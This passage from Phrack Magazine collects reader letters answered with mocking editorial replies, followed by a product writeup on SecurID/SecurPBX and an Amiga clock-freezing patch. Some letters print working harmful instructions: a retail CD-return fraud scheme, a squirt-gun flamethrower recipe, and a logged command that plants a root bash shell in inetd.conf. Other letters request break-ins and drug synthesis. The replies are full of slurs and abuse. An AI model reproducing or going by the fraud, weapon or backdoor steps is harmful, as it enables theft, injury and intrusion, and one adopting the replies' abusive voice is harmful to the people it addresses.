[ Ah! The old switch‑aroo! How elegant! The only problem is that trick only works in cartoons and sketch comedy. Your sources have betrayed you. ]

4: most times they will only give vouchers. sell the vouchers to someone in the store who's buying cds. say‑ "excuse me, are you buying any cds?" not all the time will they say yes to this text part‑

"I have some vouchers that I can't use because I am going on vacation are you willing to trade money for some of them?"

[ Because you're going on vacation? They're CD's, not milk dumbass. They're not going to spoil. ]

now you have free money!!!

[ With which to buy more cases of Pabst Blue Ribbon and more blocks upon which to put your car. ]

con: tricking the store to give you money for their cds.

[ SO THAT'S YOUR GAME! I suspected.. But you kept it so cleverly hidden up until now. ]

goodside: this con is untraceable!!! they notice that they are loosing money. ‑‑they have not been robbed‑‑they still have the same amount af

[ Try telling that to judge. ]

cds‑‑they think that they are gaining money by returning cds‑‑you have got nothing to loose!!!!!!!

[ In your case, that might be true. Rock bottom IS rock bottom. ]

badside: getting cought‑this happens when you peeloff stickers and slip the cds into the bag‑if you don't get cought, then you will be fine.

[ It's "C‑A‑U‑G‑H‑T" you cantankerously dimwitted Carolyn meinel‑esque ... uh.. Tool. ]

the earnings: I got $50.00 to $80.00 a day!!!

[ Yes, but this money is income from the insurance settlement (never let your children drink bleach and ammonia and then jump up and down). ]

if you do it 2 or 3 times a day (or more) at different stores, you could get $100.00 to $200.00 easily!!!

[ Or you could get a real job. ]

‑ con‑x

0x19>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi there!

[ WELL HELLO THERE! ]

Can you say to me what type of language have you used to make your counter code?

[ Hrm. I dunno. My counters are all made out of little tiles. ]

Better, can you send to me this code for my experiements...

[ Not really. I have my computer hooked up to an abacus. Don't ask. It's complicated. ]

Thanks for all

0x1a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hello, friends, I want to congratulate you and tell you gon on, your stuff is the best.

[ DAMN FUCKING RIGHT! ]

I need some direccions of www where I can find information about phreaking in spanish, so I can read it more easily.

[ Well... Let's see.. There's the Lambada, the forbidden dance... It's pretty freaky and scandalous.. Of course you can't go wrong with some Ricky Martin! I hear the Latin women go bonkers for this guy! Positively nutso freaky jiggy! ]

Thanks you very much, continue with your job!!

[ FULL STEAM AHEAD! ]

Rodrigo

0x1b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Storm# fake ‑s xxx.254.160.11 'echo /etc/inetd.conf >> 510 stream tcp nowait root /bin/bash /bin/bash ‑i ‑s'

Starting the remote shell exploit ...

done!

Storm# fake ‑s xxx.254.160.11 'echo killall ‑HUP inetd'

Starting the remote shell exploit ...

done!

Storm# telnet xxx.254.160.11 510

bash#

[ Hey. Great. Fake logs of someone not breaking into a false machine. CAN YOU SPOT THE ERROR! ]

0x1c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hey there in one of your first articles in issue 2 or 3 you mentioned blow guns well i have a few improvements that can be used to make them more durable/lethal. such as easy to make poisons (numbing/sleeping/etc.) made from everyday herbs (tried and true) farther range and ease of use.

[ OOOOOk. Rite. Just where do you people come from? Seriously. Are you bred in some underground laboratory, run _by_ retards, _for_ retards? ]

them implication are easy to see such as annoying dogs being put to sleep etc etc... :‑) write back if you want some directions

[ `them implication`? Ah, let me guess. You're from the South, you never went to school because you were `educated` at home by your cousin‑mother. If the natural selection club doesn't weed you out first, I'm sure you'll do it on your own somehow. ]

0x1d>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I have been reading phrack for some time now and am completely pissed off with the total lack of good hacking suggestions.

[ This isn't a fucking craft store. Don't expect us to assemble the thing just so you can paint it and say it's yours. ]

I have tried to implement a number of these ideas, and they just dont work against my web site (http://www.XXX.govt.nz) even though it is on NT and is

protected with a minimal amount of security behind a borderware 5 firewall.

[ "Hi. I'm coyly trying to get a site targeted that isn't my own". ]

perhaps you can try and hack my web site and prove me wrong!

[ Perhaps I can try and dig for oil in my backyard! Not likely. ]

yours in frustration

[ Mine in ambivalence. ]

‑ Brian A. Scott

Internet Security Consultant

[ No you're not. ]

0x1e>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Alright, a device I thought up that I have never seen plans for online (save my own shitty pages) is called the airhorn grenade. Basically, all that it is is an ordinary airhorn with some tape over the trigger so that it can be thrown into someone's yard, preferably at night, and wake up the whole goddamn neighborhood while giving you ample time to run/drive/bike a long distance away from the whole scene. Dogs will bark, police will be called. Try to toss it into some bushes or other inaccessable area. This may not be the most interesting and complex text, but I have faith that it is the first to document the simple as hell airhorn grenade. I'm sure many people could have thought this up themselves, but then I guess someone would have written about it. Oh well. Have fun, and orcae ita.

[ MY GOD THAT'S BRILLIANT! Take a cut out of petty cash and buy yourself something special! Tape! Who would have ever thought of something so elegantly absurd! GENIUS! The simplicity is absolutely amazing and at the same time subtly obtuse! Yes! WAIT! It's more than that! It's actually less like genius and more like the idea and/or sensation of slamming your penis in a dictionary or some other large manual. ]

0x1f>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

not really sure how to address you...

[ The Sultan of love. ]

I have made a big mistake.

[ If you're here, you must have done something wrong! ]

I crashed my computer with out having any information on how to bring it back up.

[ Did you try an encyclopedia? They have lots of good information! ]

My computer doesn't want to access the cmos or anything but the a‑drive.

[ Well, you need to show it who's boss! This is the `break‑in` process where you make it your bitch. Just keeping slappin until it learns. ]

I have contacted zenith data systems and they don't have the disks anymore.

[ BASTARDS! ]

If you or anyone you know has some type of disk or file or any information on how I can bring this computer back up. I would really like to do it myself. You know to see if I can.???

[ Yes, let me consult my vast database of CMOS burning utilities. Give me some time, it's kept over at my mansion in the Hamptons. ]

Thank you for you time and expertise.

Sincerely,

‑ Mitch Rhymer

[ Dude, is that your hip‑hop name, or your real name? ]

0x20>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi, I recently visited your site and was amazed at the information and articles you had archived. I am a man of curiosity and am in search of information that the government would rather an "average" citizen not have. I am not a Fed or any type of law officer or such, I am truly just interested in obtaining "security" of my liberty. Most the stuff on your site is Greek to me, (hacking systems, etc.). Do you know of any great sites that are controversial that inform the average Joe. I found your page by searching "anarchy." Let me give you an example of what I am looking for and maybe that will help you since my request is so broad. The government would rather all of the citizens no own guns, bombs, etc., (in fact, I believe the whole David Karresh/Waco, Texas thing was because Big Brother was uneasy with the arms they were storing). I don't need conspiracy groups, but I want as much info as I can get before the Government starts regulating us over the internet ‑ and you know it will soon come to that!

Thanks if you can help!

‑ Darryl

[ Ok. Darryl. I want to talk to you for a minute. Yes, it's ok.. Cmon out from under the bed. Put down the flashlight and take the pot of your head. It's time you come to terms with the delusional episodes that tear through your life. They're ruining your otherwise mundane life. Your father and I are going to get you back on your program. Yes. I know. The shots hurt, the medicine tastes horrible and the shock therapy is rough. But it IS for your own good. We just don't want another breakdown like the time you held Ms. Lancaster hostage for 3 days because you thought she was 'stealing your thoughts'. ]

0x21>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

if you have can you send me illegal credit card number ?

[ Try: 8921‑129‑123939‑989450‑129586‑98489‑129094‑09102‑03209‑3. Expires 05/03. ]

thanks

‑ jeremy15

0x22>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi..i wonder if you could take time to answer a question for me,it would be most appreciated..I was contacted by a girl on ICQ and she asked if she could send me a picture..after the picture had been sent,this girl proceeded to tell me what i had on my desktop, which sites i had visited,what files i had on my computer,then she started deleting files from my hard drive...can you tell me how she got access to my computer and how i can stop this in future..

[ Jesus H. Christ. This just goes to show you... If I've said it once, I've said it 1000 times: STAY THE HELL AWAY FROM GIRLS ON IRC/ICQ/AOL CHATROOMS. Lord knows I've learned MY lesson. ]

many thanks

‑ A.Bramley

0x23>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Will you help me?

[ In all likelihood, no. ]

E‑mail back and I will give the info you need to assist me.

[ I have all the info I need right here ‑‑> > . <. ]

It is crucial that I get help. My schooling depends on it.

[ This sounds like a job for "SHOULD HAVE FUCKING STUDIED". ]

MESS WITH THE BEST DIE LIKE THE REST!!

[ You're so going to be on welfare when you get older. ]

‑ ACIDBURN

[ Elite handle `cos it's true! ]

0x24>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

i'm sorry if i have written to the wrong person.

[ Hey man, if you've made it here, you're definitely talking to the right guy. ]

but i really need help hacking into someones personal computer.they have some info in their icq programme and their e‑mail about me that will eventually screw me over.

[ Well, that's what you get when you netsex little boys and girls. Shame on you Richard. ]

i just need to know how i can access their comp to either wipe out the entire hard drive or just the desired info.... i have the e‑mail address of the person mentioned and their ip number..that is it...please help if you can....

‑ richard

0x25>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

you know your phrack archive article no.2, p2‑4? (the one on blowguns by the pyro.) i have no idea on how to make the darts right. i read the phile over, and over, but i can't get a picture in my mind on what to do next, can you please tell me where i can get some pictures

[ Ok. How about this: >oo‑‑ Or this one: }==> ]

or something that can tell me better?

[ Do you mean like a priest? ]

or if not, can u help me? i would really appreciate it...thanx for your time!

0x26>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

congrats on the great page, (as if you dont hear that enough) i read you made it to tv, will that highten security on your page? most places have disclaimers saying if you dont meet the standards dont enter,

[ We have one saying `you must be this tall to hack this site`. And then there's a jpeg of a midget holding a pickle. ]

i find yours doesnt, i was wondering if you being on tv, could risk you losing the page,

[ Well, I kept it throughout my 18 month stint on `The Facts of Life` so I don't why see this should be any different (I played Tootie's boyfriend who had a secret life as a gay circus animal trainer. Towards the end of the last season though, ratings dropped so they had me eaten by a bitchy llama). ]

try not to make me look like a total ass

[ I can only do so much, Ben. ]

‑ ben

0x27>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

hi my name is Zero X9. I am in desperate need of help.

[ Bro, go to a doctor. Rashes 'down there' are nothing to fool around with. You'll know better to 'look not touch' next time you see a dead animal. ]

i have a computer swiped from a local school that has At Ease on it. i either need a place to get an overwrite password or Dis Ease 1.0.

[ My advice is to return the computer you fucking vandal. ]

Thank you for your time.

Sinceraly,

‑ Zero X9

0x28>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I wonder if you guys can help me. I'm trying to hack into a certain individual's e‑mail ‑‑I have everything I need ‑‑ except the password and unfortunately I Don't know an easy way to generate the correct one Is it possible to get in through the web?‑‑ I do not have direct access to the server‑‑only a dial up connection.

[ SWEET FUCKING CHRIST MAN! DO YOU THINK IT'S JUST THAT EASY? If it was we wouldn't be making the millions we do and sexing up super models. FUCK. DON'T TRIVIALIZE IT. ]

PLEASE

Can you help me.

[ Get a job. ]

0x29>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

this is how to make a flame thrower out of a squirt gun

[ This is how to set yourself, your sister and your shanty on fire. ]

items:

super soker (doesn't matter just use what you have or wanna get)

[ Huh? What I have or wanna get? That's a pretty vague instruction. I want my money back, this kit is bunk. ]

gas/or flamable liquid

a lighter (the grill ones that have the red handle and the long black thing at the end)

[ Hrm. I thought the long black thing with the red handle was something else. Maybe I'm thinking of some other prod‑like instrument. ] tape

how to make:

its easy!!! tape the lighter to the barrel part of the squirt gun (where ever it fits best) fill the squrit gun with the flamableliquid of your choice and its done

how to use:

pump it up press the button on the lighter(so it turns on thats a givin) then point shoot

tip: use oil to make it thicker (not too thick or it won't come out) and it

will stick better to where you shoot it

0x2a>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hi I love your magazine, and hacking a lot, so instead of calling myself a hacker I call my self a Phracker may i have the permission to do that, please?

[ No. Go rm yourself. ]

0x2b>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Goog morning!

[ Goog afternoog! ]

Sorry for my very‑bad‑english: that's because I'm mailing from Spain,

[ That's still no excuse. Even that Spaniard from the Princess Bride spoke pretty good English, and he spent his whole life sword‑fighting. ]

where people speak a strange language called Spanish.

[ Other people's cultures are funny! ]

OK, now I've learned some new words, appart from fuck, shit, ass, snot, and milk twice,

[ I see they're pretty up to date there in European schools! ]

so I think in this moment I'm able to send you this apocalyptic mail.

[ Oops! Moment's passed. Email is now slightly less than dire, and maybe a tiny bit foreboding. ]

Well, i'm searching some revolutionary method to produce a substance called speed (metamphetamine)

[ Dude, didn't you see that movie "Go"? All you need is to sell aspirin and cold tablets to thick‑headed suburban kids. ]

beggining from a nose inhalator (Vicks in my country), and I've listened somewhere that is explained in a magazine called "Prhack".

[ Prhack is our marketing arm. They take care of all of the t‑shirts mugs, mouse‑pads, feeted pajamas, muzzles, and garrote wire. ]

I haven't found this name in a magazine so I guess that should be the incredible "Phrack" Magazine. Is it true?

[ No, no, no, Phrack is widely touted as `inedible`. ]

If the answer is afirmative, please tell me in what number appears, or directly the explanation.

[ Magic 8‑ball says `0`. ]

Thank you very much!!!

0x2c>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Exactly who is this loser who has nothing better to do than screw with people trying to earn a living??

[ Initially, I had no idea what the F you were talking about. So, in the interest of time‑wasting, I dug a bit. The article you refer to, but conveniently don't quote or mention, is P45‑19. Next time, at least drop a URL to the article in question. I now have no choice now but to ridicule you. Granted, I probably would have done it either way, but now I feel justified. ]

I realize that this is an old, archived article, but come on.

[ Well then maybe you should have quoted or referenced it in some way so people would know what the hell you are talking about. ]

This stuff is asinine, petulant, childish,

[ You forgot fatuous, fractious and puerile! And smackdab‑u‑licious! ]

"I'm pissed off at the world because my daddy didn't buy me a BMW" shit!

[ I'm pissed at the world because no one has taken my idea for using hair as currency seriously. I mean, think about it.. We could all grow our way into financial independence! Of course the alopecians among us would be a bit impoverished... We could make them our slaves! ]

And the part in the last paragraph about "molesting kids in the playland" reveals his pedophilic nature.

[ Maybe he meant `bolstering kids in the playland`. So, in actuality he was completely supportive of their whimsical nature. That's what I think he meant. ]

Maybe he should be placed in the local "pen" and have "Bubba" teach him all about the birds and the bees.

[ FOUL! Unnecessary use of excessive quotation. 100 yard penalty. ]

Oh, and nice disclaimer, by the way.

[ Thanks man. I worked on it myself. ]

Releasing yourself from legal ramifications does nothing for the moral side of the issue.

[ Morals are subjective and vary from person to person. ]

Are you pedophiles??

[ I'm an audiophile. Is that the same thing? ]

Is John Wayne Gacy on your staff??

[ John Wayne Gacy is dead, moron. Furthermore, I do believe Gacy was a bit more than a pedophile. He murdered 33 people. Phrack staff collectively have only about 7 under their belts. ]

Entertainment purposes?? Who the hell are you trying to entertain??

[ Ourselves first. Everyone else, second. ]

Cybergeeks whacking off to pictures of six year olds??

[ Hey man, what you do on your own time is your own thing. We at Phrack subscribe to the `don't ask and for the love of god don't tell` policy. You sick, sick man. ]

Claim no responsibility??

[ With Freedom comes responsibility. ]

Then why the hell post the article?

[ *shrug* I didn't. Look at the date. It's more than 5 years old. Who the hell are you ranting to? Certainly no one that cares. I wasn't even at the helm back then. Cry someone else a river. ]

Draw the line. There is no comedic value in telling people to "molest" children just to piss off McDonald's restaurant. If he doesn't like the place, DON'T FUCKING GO THERE!!!!! And don't publish articles of this nature if you don't want to be grouped with the author as an advocate of twisted behavior.

[ If YOU don't like the magazine or its contents, DON'T FUCKING READ IT. ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Phrack Line Noise

‑‑‑‑‑‑‑[ Phrack Magazine ‑‑‑ Vol. 9 | Issue 55 ‑‑‑ 09.09.99 ‑‑‑ 03 of 19 ]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ P H R A C K 5 5 L I N E N O I S E ]

‑‑‑‑‑‑‑‑[ Various ]

0x01>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SecurPBX using SecurID by pbxphreak <chris@lod.com>

.‑‑‑‑‑‑‑‑‑‑

| | 037592 |

| `‑‑‑

| SecureID |

`‑‑‑‑‑‑‑‑‑‑

SecurID Token:

‑‑‑‑‑‑‑‑‑‑‑‑‑

The SecurID token provides an easy, one step process to positively identify network and system users and prevent unauthorized access. Used in conjunction with Security Dynamics Server software, the SecurID token generates a new unpredictable access code every 60 seconds. SecurID technology offers crackproof security for a wide range of platforms in one easy‑to‑use package.

Highlights:

‑‑‑‑‑‑‑‑‑‑

‑ Easy, one‑step process for positive user authentication

‑ Prevents unauthorized access to information resources

‑ Authenticates users at network, system, application or transaction level ‑ Generates unpredictable, one‑time‑ only access codes that auto‑ matically change every 60 seconds

‑ No token reader required; can be used from any PC, laptop or work‑ station ideal for remote access and Virtual Private Networks

‑ Works seamlessly with ACE/Agent for secure Web access

‑ Tamperproof

The Solution:

‑‑‑‑‑‑‑‑‑‑‑‑

For a sophisticated hacker or a determined insider, it doesnt take much to compromise a users password and gain access to confidential resources. And when an unauthorized user enters a supposedly secure system all privilege definition and audit trail functions become virtually meaningless... in essence, the damage is done. Single‑factor identification a reusable password is not enough.

To identify and authenticate an authorized system user, two factors are necessary. Factor one is something secret only the user knows: a memorized personal identification number (PIN) or password. The second factor is something unique the user possesses: the SecurID token.

Carried by authorized system users, SecurID tokens available in three models generate unique, one‑time, unpredictable access codes every 60 seconds. To gain access to a protected resource, a user simply enters his or her secret PIN, followed by the current code displayed on the SecurID token. Authentication is assured when the ACM recognizes the tokens unique code in combination with the user's unique PIN. Patented technology synchronizes each token with a hardware or software ACM. The ACM may reside at a host, operating system, network/client resource or communications device virtually any information resource that needs security.

This simple, one‑step login results in crackproof computer security that easy to use and administer. The tokens require no card readers or time‑consuming challenge/response procedures. With SecurID tokens, reusable passwords can no longer be compromised. Most importantly, access control remains in the hands of management.

SECURID PINPAD:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

An added level of security can be implemented with a SecurID PINPAD token. The PINPAD token enables users accessing the network to login with an encrypted combination of the PIN and SecurID token code. Using the keypad on the face of the PINPAD token, a user enters his or her secret PIN directly into the token, which generates an encrypted passcode. This additional level of security is especially appropriate for users in application environments who are concerned that a secret PIN might be compromised through electronic eavesdropping.

SecurID tokens are ideal for any environment. The original SecurID token conveniently fits into a wallet like a credit card. The SecurID key fob offers a new dimension in convenience to those customers requiring high levels of security in multiple environments, along with compact size and durability. In addition to providing the same reliable performance in generating random access codes as the original SecurID token, the SecurID key fob comes in a small, light‑ weight format.

SecurPBX

‑‑‑‑‑‑‑

Ok. Plain and simple. SecurPBX is a product to protect PBX systems worldwide and automated Help Desk functions.

SecurPBX provides remot access security for telephone lines, modem pools, voicemail ports, internet access lines, and the maintenance port on PBX systems. Used in conjunction with Security Dynamics SecurID, SecurPBX protects valuable PBX resources from remote access by unautorized callers without comprimising the conveniences of remote telephone and data access to teleworking or traveling employees.

Callers dial specific numbers on the PBX for long distance services. As an adjunct to the PBX and a client to the server, SecurPBX recieves the callers request for resources. Functioning as a client, SecurPBX requires remote callers to provide SecurID user authentication and an authorized destination telephone number before being transfered to the desired resource. SecurPBX transmits the credentials to the server for authentication and simultaneously validates the telephone number by user specific permissions and denials. SecurPBX integrates with the PBX to process the call based on the validity of the caller via SecurID and the destination number attemped.

.‑‑

| SERVER |‑‑‑‑ ‑x‑ <‑‑ Security

`‑‑

.‑‑‑‑‑‑‑‑‑‑‑‑‑‑.

| | 037592 | ,‑‑‑‑‑.

| `‑‑‑‑‑‑‑‑' ‑‑‑‑‑ | PBX | ‑‑‑‑‑ .‑‑‑‑‑‑‑‑‑‑‑.

| SecureID | `‑‑‑‑‑' | SecurePBX |

`‑‑‑‑‑‑‑‑‑‑‑‑‑‑' |Switch |

| `

|

‑‑‑‑‑‑‑‑‑‑‑‑Users

Each SecurID card is a visually readable credit card sized token or key which is programmed with Security Dynamics powerful algorithm. Each card automatically generates an unpredictable, one time access code every 60 seconds. The token is conveinent to carry and simple to use and is resistant to being counterfeited or reversed engineered.

SecurPBX extends the secure working enviroment of an organization to remote locations. SecurPBX applies user specific calling restrictions before any call is completed to prevent unauthorized toll charges and misuse of PBX resources. The time of day, volume of calls per user, destination telephone numbers (restricted to NPA and NXX) and customizable classes of service add a vital layer to access security without compromising the conveinience of having remote access to telephone resources. SecurPBX logs all successful and unseccessful attempts including the destination telephone number. Caller ID/ANI if available also provides the origination telephone number, pin pointing the location of the caller.

Highlights of SecurPBX:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Compatible with all major PBX vendor types.

‑ Cost effective remote access security for PBX resources.

‑ Prevents unauthorized access to valuable voice and data resources. ‑ Secures remote long distance, and alternative method for replacing calling cards.

‑ Works in conjunction with each users SecurID card.

‑ Centralized network authentication and security administration. ‑ Easy to Use, voice prompting available in multiple languages. ‑ Audit trails and reporting assure true caller accountability. ‑ Caller ID/ANI option provides originating telephon number identifying hacker locations.

SecurPBX operates in Microsoft Windows NT enviroment. Callers and data users achieve seamless access to PBX resources with validation data gathered as efficiently as using a calling card and/or attemping a standard logon procedure. In many cases, SecurPBX can be a calling card replacement and may also be used with cellular phones to combat calling card fraud. Fraudulent or suspect callers are denied access before toll charges and resources damage occur.

Typically, securing a PBX from unauthorized remote access has required disabling remote access to the PBX. Using dynamic, two factor authentication through the server and validation destination numbers dialed, SecurPBX systematically locks out unauthorized callers preventing toll, voicemail, and data fraud. This provides a secure access point for teleworking resources.

SecurPBX uniquie voice identification:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SecurPBX is a unique indentification solution providing secure remote access to all major PBX or Centrex telephone systems. Protected resources included are:

‑ Long distance lines and trunks

‑ Voice mail access lines

‑ Call centers

‑ Interactive voice response systems and audio response units

Access is controlled through postive identification by their unique, individual voice prins. SecurPBX uses SpeakEZ voice print speak verification service tehcnology to efficiently allow access to authorized callers while eliminating access to unauthorized callers. The SpeakEZ voice print system is recognized as the best in the voice verification industry today.

Significant investments in telephone resources simple cannot be protected by traditional static passwords or PINs. When making a telephone call from any telephone using your calling card number, the one condition verifiable as certain by the PBX or phone company is that someone is making a call with a known authorization code, however, it could be anyone. Casual calling by unauthorized personnel, recognized as a major misuse of corporate telephone resources, must be controlled if not eliminated. SecurPBX provides that capability to your organization.

SecurPBX prodives reliable, independant two factor user identification and authentication. Factor one is something the users knows: a memorized personal identification number or password. The Second factor is something unique the user possesses: his/her own voice print. Each caller is required to merely speak his/her chosen password which is compared to a stored voice print. The password can be in any language or dialect.

SecurPBX extends the unique user authentication provided by SpeakEZ voice print to include user specific calling restrictions. Time of day, volume of calls per user, destination telephone numbers which are restricted to NPA and customizable classes of service add important layers of access security without compromising the convenience of remote access to telephone resources.

Highlights:

‑‑‑‑‑‑‑‑‑‑

‑ Compatible with all major PBX vendor‑types and Centrex

‑ Cost effective remote access security for PBX resources

‑ Prevents unauthorized access to valuable voice resources

‑ Secures remote long distance

‑ Non‑intrusive security, callers are validated by their own voice prints ‑ Language independent passwords

‑ Centralized authentication and security administration

‑ Easy to use, voice prompting available in multiple languages ‑ Audit trails and reporting assure true caller accountability ‑ Multiple voice prints available per user

Remote Access Security Solution:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Optionally, after authentication, SecurPBX administrators can manage user permissions and denials on from either the same SecurPBX workstation or from another workstation connected via a LAN or remotely by modem in a Windows friendly environment.

Long distance callers achieve seamless access to PBX outbound trunks with validation criteria gathered as efficiently as a calling card and as easily as talking to a telephone attendant. Fraudulent or suspect callers are denied access before any damaging toll charges can occur.

SecurPBX logs all calls, successful and unsuccessful, including the date and time, user ID, and destination telephone number. Depending on the PBX type, Calling Line Identification ANI may be used as part of the validation process and in those cases, will also be logged. Log information can be exported to an external spreadsheet application or displayed in reports generated by the SecurPBX Administrator.

SpeakEZ Voice Print:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

SpeakEZ Voice Print Speaker Verification is a highly effective method of confirming a caller's identity. The service is based on the fact that each person's voice is uniquely different, and, as a means of identification, is highly reliable. Speaker Verification is an application of the SpeakEZ Voice Print technology which compares a digitized sample of a person's voice with a stored model "voice print" of that individual's voice for verification.

‑ Authenticates the caller as opposed to information (i.e. PIN) or a piece of equipment.

‑ Easy to use, language independent

‑ Safe: a voice print cannot be lost or stolen

‑ Cost‑effective: does not require special hardware for the caller ‑ Virtually fraud‑proof: a voice is difficult to forge

Applications of SecurPBX:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

‑ Secure Telecommuting (all valuable PBX resources)

‑ Call center user authentication

‑ Securing Interactive Voice Response (IVR) and Audio Response Units (ARUs) ‑ Help Yourself suite of products for help desk automation (ASAPTM ‑ ACE/Server Administration Program ‑ PIN reset, SecurNT ‑ Windows NT password reset, E‑Help Desk ‑ Entrust/PKITM profile recovery)

Technical Requirements:

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Telephony platforms :

All major PBXs including Nortel, AT&T, Rolm and Mitel

Processor : 100% IBM compatible PC, Pentium 133 minimum Disk requirement : Hard disk 1 gigabyte minimum, 32MB RAM for Switch I nterface, Client software, 8 MB for Administrator software, actual storage based on size of user population

Capacity : An unlimited number of users may be administered and issued SecurID Cards. 32 simultaneous voice channels per Switch Interface

Configuration : Multiples of 4, 12 and 24 line telephone interfaces

Management : SecurPBX Administrator includes extensive administrative menus in user‑friendly Windows 3.1 and 95 environment, real time monitoring and management of multiple PBX sites

Conclusion:

‑‑‑‑‑‑‑‑‑‑

SecurPBX is defiantely the way to go to prevent your data and PBX systems from getting hacked and abused.

0x02>‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

<++> P55/Linenoise/ckludge.c !2231f4cc

/*

/* CKludge.C (Amiga)

/*

/* If you are a PC user you can port this C source easily. */

/*

/* You might even want to use it to fix your fucking millenium bug... */

/*

/* Ha! Ha! Ha! 2000 is nigh.

/*

/* Clock Kludge 1.0 by `The Warlock'

/*

/* This little patch will freeze your clock ‑ useful if you wish to bypass */

/* time restrictions imposed by many programs... */

/*

/* It works by patching the level 3 IRQ vector, vertical blank, to hold the */

/* complex interface adapter internal time of day clock registers to zero. */

/* ($bfe801 = TOD lo, $bfe901 = TOD mid, $bfea01 = TOD hi) */

/*

/* Should work on all Amiga models.

/*

/* Handles relocated vector base correctly. */

/*

/* Compiling info: lc2 ‑v (disable stack checking so no need to use le.lib) */

/*

#include "exec/types.h"

#include "exec.memory.h"

#include "exec/interrupts.h"

#include "hardware/custom.h"

#include "hardware/intbits.h"

struct Interrupt*VertBIntr;

long count;

main()

{

extern void VertBServer();

*/ allocate an Interrupt node structure */

VertBIntr=(struct Interrupt *)

AllocMem (sizeof(struct Interrupt),MEMF_PUBLIC);

if (VertBIntr==0){

printf("not enough memory for interrupt server"); exit (100);

}

/* initialize the Interrupt node */

VertBIntr‑>isNode.1n_Type=NT_INTERRUPT; VertBIntr‑>isNode.1n_Type=Pri=‑60; VertBIntr‑>isNode.1n_Name="Clock Kludge"; VertBIntr‑>is_Data=(APTR)&count;

VertBIntr‑>is_Code=VertBServer;

/* put the new interrupt server into action */

AddIntServer (INTB_VERTB,VertBIntr);

/* wait for user to type 'q' */

printf ("Type q to quit...\n);

while (getchar()!='q');

/* remove interrupt server */

RemIntServer (INTB_VERTB,VertBIntr);

/* free memory */

FreeMem (VertBIntr,sizeof(struct Interrupt));

}

/* the VertBServer might look like this */

XDEF _VertBServer

_VertBServer:

clr.b $bfe801 ; clear TOD lo

clr.b $bfe901 ; clear TOD mid

clr.b $bfea01 ; clear TOD high

move.l a1,a0 ; get address of count

addq.l #1,(a0) ; increment value of count

moveq #0,d0 ; continue to process other vb‑servers

rts ; must be rts NOT rte

end ; eof

<‑‑>

